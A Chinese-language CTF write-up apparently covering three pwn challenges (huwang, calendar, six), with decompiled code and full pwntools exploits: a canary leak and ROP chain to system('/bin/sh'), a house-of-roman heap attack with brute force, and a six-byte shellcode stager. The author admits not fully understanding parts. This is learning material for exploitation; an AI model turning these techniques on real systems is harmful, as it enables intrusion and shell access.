huwang

题目

表面是个堆题,但实际上是个栈溢出。。。

给了add delete 函数,但是没有漏洞,题目额外给了一个guess 函数,guess成功会进入secret函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
void __noreturn guess()
{
int v0; // ST04_4
__int64 v1; // [rsp+0h] [rbp-80h]
__int64 v2; // [rsp+0h] [rbp-80h]
signed int i; // [rsp+0h] [rbp-80h]
int v4; // [rsp+4h] [rbp-7Ch]
int fd; // [rsp+8h] [rbp-78h]
int rand; // [rsp+8h] [rbp-78h]
int max_cnt; // [rsp+Ch] [rbp-74h]
char v8; // [rsp+10h] [rbp-70h]
char s[32]; // [rsp+20h] [rbp-60h]
char s1; // [rsp+40h] [rbp-40h]
char name; // [rsp+60h] [rbp-20h]
unsigned __int64 v12; // [rsp+78h] [rbp-8h]

v12 = __readfsqword(0x28u);
puts("please input your name");
read(0, &name, 0x20uLL);
memset(s, 0, 0x10uLL);
puts("Do you want to guess the secret?");
get_str(&v8, 2LL);
if ( v8 == 'y' )
{
if ( access("/tmp/secret", 0) == -1 )
{
HIDWORD(v1) = open("/tmp/secret", 65, 511LL);
fd = open("/dev/urandom", 0);
read(fd, s, 0xCuLL);
LODWORD(v1) = 0;
while ( (signed int)v1 <= 11 )
{
s[(signed int)v1] &= 1u;
LODWORD(v1) = v1 + 1;
}
write(SHIDWORD(v1), s, 0xCuLL);
close(SHIDWORD(v1));
close(fd);
}


v0 = open("/tmp/secret", 0, v1);
read(v0, s, 0xCuLL);
close(v0);
puts("Input how many rounds do you want to encrypt the secret:");
max_cnt = input_0x10();
if ( max_cnt > 10 )
{
puts("What? Why do you need to encrypt so many times?");
exit(-1);
}
if ( !max_cnt )
{
printf("At least encrypt one time", s);
exit(-1);
}
HIDWORD(v2) = open("/tmp/secret", 513);
LODWORD(v2) = 0;
while ( (unsigned int)v2 < max_cnt )
{
MD5((__int64)s, 16LL, (__int64)s);
LODWORD(v2) = v2 + 1;
}


write(SHIDWORD(v2), s, 0x10uLL);
close(SHIDWORD(v2));
puts("Try to guess the md5 of the secret");


read(0, &s1, 0x10uLL);
if ( !memcmp(&s1, s, 0x10uLL) )
secret((__int64)&name);


v4 = open("/tmp/secret", 513, 511LL, v2);
rand = open("/dev/urandom", 0);
read(rand, s, 0xCuLL);
for ( i = 0; i <= 11; ++i )
s[i] &= 1u;
write(v4, s, 0xCuLL);
close(v4);
close(rand);
exit(0);
}

printf("Oh!bye %s\n", &name);
exit(0);
}

int __fastcall secret(__int64 name)
{
char v1; // ST1B_1
int v3; // [rsp+1Ch] [rbp-214h]
char occ; // [rsp+20h] [rbp-210h]
char s; // [rsp+120h] [rbp-110h]
unsigned __int64 v6; // [rsp+228h] [rbp-8h]

v6 = __readfsqword(0x28u);
printf("Congratulations, %s guessed my secret!\n", name);
puts("And I want to know someting about you, and introduce you to other people who guess the secret!");
puts("What`s your occupation?");
get_str(&occ, 0xFFLL);
v3 = snprintf(
&s,
0xFFuLL,
"I know a new friend, his name is %s,and he is a noble %s.He is come from north and he is very handsome........."
".................................................................................................",
name,
&occ);
puts("Here is your introduce");
puts(&s);
puts("Do you want to edit you introduce by yourself[Y/N]");
v1 = getchar();
getchar();
if ( v1 == 'Y' )
read(0, &s, v3 - 1);
return printf("The final presentation is as follows:%s\n", &s);
}

看一下保护,除了PIE其他的都开了

分析

secret函数栈溢出,为了能够进入secret函数,需要绕过guess函数中的检查,这里便是神奇的地方了:

程序在读入随机数时会先将其清空,而之后输入加密次数时如果输入-1会使程序卡住之后超时退出,在一小段时间之内,本该被加密的文件实际上便是空的。

而此时如果再次重连程序,md5加密其实便是对0加密,这里大佬又神奇的输入HEX[00000000000000000000000000000000]的md5值并decode(‘hex’),从而进入secret函数。

因为进入secret函数内会先输出前面输入的name,这里可以巧妙地顺便将canary输出,有了canary之后的便顺水推舟了。

ps: 但是感觉后面的栈布局有点奇怪,之后再看一看

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context.log_level='debug'
sh = process('./huwang')

def six(name,rd,secret,flag=1):
sh.recvuntil('>> \n')
sh.sendline('666')
sh.recvuntil('name\n')
sh.send(name)
sh.recvuntil('secret?\n')
sh.sendline('y')
sh.recvuntil('secret:\n')
sh.sendline(str(rd))
if flag == 1:
sh.recvuntil('secret\n')
sh.send(secret)

six('aaa',-1,'bbb',0)
sh.recvuntil('timeout~')
sh = process('./huwang')
libc = ELF('./libc.so.6')

six('a'*0x19,1,'4ae71336e44bf9bf79d2752e234818a5'.decode('hex'))

sh.recvuntil('a'*0x19)
canary = u64('\x00'+sh.recvn(7))
print 'canary: '+hex(canary)

sh.recvuntil('occupation?\n')
sh.send('a' * 0xff)
sh.recvuntil('[Y/N]\n')
sh.sendline('Y')
#gdb.attach(sh)
shellcode = 'a' * 0x108 + p64(canary) + p64(0)
shellcode += p64(0x0000000000401573) + p64(0x0602F70) + p64(0x40101C)
sh.send(shellcode)
gdb.attach(sh)

sh.recvuntil('Congratulations, ')
libc_addr = u64(sh.recvn(6) + '\x00' * 2) - libc.symbols['puts']
sh.recvuntil('occupation?\n')
sh.send('a' * 0xff)
sh.recvuntil('[Y/N]\n')
sh.sendline('Y')
shellcode = 'a' * 0x108 + p64(canary) + p64(0)
shellcode += p64(0x0000000000401573) + p64(next(libc.search('/bin/sh')) + libc_addr) + p64(libc_addr + libc.symbols['system'])
sh.send(shellcode)

sh.interactive()

calendar

题目

选项题 add edit delete ,但是没有show函数

add 最多可以控制四个chunk,申请最大size为0x68

edit 可以输入新的size,只有在新的size小于等于原先输入的size时,可以输入内容

delete 只有free,存在UAF

程序在输入字符串时的get_str函数存在off-by-one漏洞

1
for ( i = 0; (signed int)i <= len; ++i )      // off by one

题目提示house of roman

分析

刚开始看到没有show 函数,感觉就有点无从下手,根据house of roman的提示,去看一下这种利用方法,确实是基于没有show功能的情况下的利用方法,拿这个题顺便学习一下。

查看保护,全开(丧心病狂)

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

本地关闭随机化进行调试,调试成功后进行爆破就行了(玄学爆破,getshell要看命)

house of roman 利用 局部写 减少随机化的程度,从而给出爆破的可能
其相当于结合了fastbin attack 与 unsortedbin attack ,在没有泄露函数地址的情况下,利用unsortedbin 的首chunk的fd bk指向main_arena+88,也就是在malloc_hook附近。

ps: 如果是 64 位程序,通过malloc_printerr 触发 malloc ,基本可以稳定 getshell .

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
#context.log_level='debug'

#sh=process('./task_calendar')

def add(idx,size):
sh.sendlineafter('>','1')
sh.sendlineafter('>',str(idx))
sh.sendlineafter('>',str(size))

def edit(idx,size,info):
sh.sendlineafter('>','2')
sh.sendlineafter('>',str(idx))
sh.sendlineafter('>',str(size))
sh.sendafter('>',info)

def dele(idx):
sh.sendlineafter('>','3')
sh.sendlineafter('>',str(idx))

def exp():
sh.recvuntil('input calendar name> ')
sh.sendline('name')

add(1,0x68)
add(2,0x68)
add(3,0x68)

#------make chunk2 free to unsorted bin----------

edit(3,0x68,p64(0)*2+p64(0x90)+p64(0x51)+'\n')
edit(1,0x68,'a'*0x68+'\x91')
#gdb.attach(sh)
dele(2)
#gdb.attach(sh)
#----fastbin attack-----------------------------

edit(1,0x68,'a'*0x68+'\x71')
dele(1)
dele(3)
edit(3,1,'\x70\x70')
edit(2,1,'\xfd\x1a')
#gdb.attach(sh)
#--fastbin[0x70]= chunk3-> chunk2 ->malloc_hook-13-----
add(1,0x60)
add(4,0x60)
add(3,0x60)

# fix fastbinY---------
dele(4)
edit(4,7,p64(0))
#gdb.attach(sh)
#----unsorted bin attack-------------------------

add(1,0x60)
edit(1,9,p64(0)+'\x00\x1b')
add(1,0x60)

#----edit malloc_hook to one_gadget--------------

one_off = 0xf66f0
edit(3,5,'aaa\xa4\xd2\xaf')

dele(4)
dele(4)

for i in range(10000):
sh = process('./task_calendar')
try:
exp()

break;
except:
print i
sh.close()

sh.interactive()

six

题目

一道感觉很奇怪的题目,不容易看懂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
void (__fastcall *v3)(__int64, char *); // ST08_8
size_t v4; // rax
char *v5; // rbx
size_t v6; // rax
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v9; // [rsp+18h] [rbp-18h]

v9 = __readfsqword(0x28u);
mmap2chunk();

`
fd = open("/dev/urandom", 0);
read(fd, &buf, 6uLL);
read(fd, &v3, 6uLL);
dest = mmap((void *)(v3 & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7, 34, -1, 0LL); --》rwx 高地址
qword_202098 = (__int64)mmap((void *)(buf & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 3, 34, -1, 0LL) + 0x500; --》rw 低地址
`

v3 = (void (__fastcall *)(__int64, char *))dest;
memset(&s, 0, 8uLL);
puts("Show Ne0 your shellcode:");
read(0, &s, 6uLL);
judge_shellcode((__int64)&s);
v4 = strlen(src);
memcpy(dest, src, v4);
v5 = (char *)dest;
v6 = strlen(src);
memcpy(&v5[v6], &s, 7uLL);
v3(qword_202098, &s);
return 0LL;
}

程序刚开始mmap了两个地址,之后要求读入6个字节的shellcode,进入judge_shellcode进行判断,需要六个字节各不相同
最后会将src代码复制到第一个chunk 并执行其中的代码

分析

思路就是六个字节通过系统调用read函数,同时将rsi设置为rsp,即之后输入到栈顶,溢出到第一个chunk(即高地址的chunk),将shellcode写入即可
(大概思路应该是这样,但是题目本身理解的还不是特别清楚,后面还得再看)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

sh = process('./six')

context.arch = 'amd64'
sc='''push rsp;pop rsi;lahf;xchg edx,eax;syscall'''
sc = asm(sc)
sh.sendafter(':',sc)

pay = 'a'*(0x1000-0x500)
pay+='\x90'*0x36+asm(shellcraft.sh())
sh.sendline(pay)

sh.interactive()